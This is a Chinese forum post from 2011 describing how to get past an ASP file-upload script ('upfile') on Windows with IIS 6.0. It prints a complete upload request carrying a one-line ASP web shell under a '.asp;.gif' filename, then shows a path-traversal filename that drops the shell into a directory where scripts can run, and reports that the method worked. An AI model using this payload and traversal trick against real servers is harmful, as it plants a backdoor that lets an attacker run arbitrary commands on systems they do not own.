亮彬 發表於 2011-4-1 01:06:01

upfile asp文件上传 又一奇迹般的突破

然而。上传目录取消了脚本执行的权限。 我想这里估计大家都要放弃了。 <br />如何突破呢?其实是可以的. 关键是 [不修改名字] <br />先来看看一个上传的数据包: <br /><br />POST /fa-bu/upload/upfile1.asp HTTP/1.1 <br />Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* <br />Referer: http://xxxxx/fa-bu/upload/upload.asp <br />Accept-Language: zh-cn <br />Content-Type: multipart/form-data; boundary=---------------------------7da290150c5e <br />Accept-Encoding: gzip, deflate <br />User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) <br />Host: xxx.xxxx.xxnet <br />Content-Length: 448 <br />Connection: Keep-Alive <br />Cache-Control: no-cache <br />Cookie: ASPSESSIONIDSSCTCSCT=DJBKGKLBBIGNKJMBGOENNPAN <br />-----------------------------7da290150c5e <br />Content-Disposition: form-data; name=&quot;act&quot; <br />upload <br />-----------------------------7da290150c5e <br />Content-Disposition: form-data; name=&quot;file1&quot;; filename=&quot;E:\xxx\xxx\xx\111.asp;.gif&quot; <br />Content-Type: text/plain <br />&lt;%execute(request(&quot;cmd&quot;))%&gt; <br />-----------------------------7da290150c5e <br />Content-Disposition: form-data; name=&quot;Submit&quot; <br />up <br />-----------------------------7da290150c5e-- <br />关键是 : <br /><br />Content-Disposition: form-data; name=&quot;file1&quot;; filename=&quot;E:\xxx\xxx\xx\111.asp;.gif&quot; <br /><br />我首先呢。 filename他是如何判断 那个开始就是文件名呢? 他是判断filename里的最右边的一个&quot;\&quot;以后的就是文件名字了。 <br /><br />大家因该知道。 在windows下 &quot;\&quot; 和 &quot;/&quot; 是不分家的。 <br /><br />假设上传之后的目录为upload/ <br /><br />然后一个可以执行可以写的目录为 okokok/ <br /><br />那么我们只要构造 <br /><br />Content-Disposition: form-data; name=&quot;file1&quot;; filename=&quot;E:\xxx\xxx\xx\./../okokok/111.asp;.gif&quot; <br /><br />那么我们上传的文件就成功的传进去了 okokok/111.asp;.gif了。 <br /><br />突破之! <br /><br /><br />PS: win+iis6.0测试成功。
頁: [1]
查看完整版本: upfile asp文件上传 又一奇迹般的突破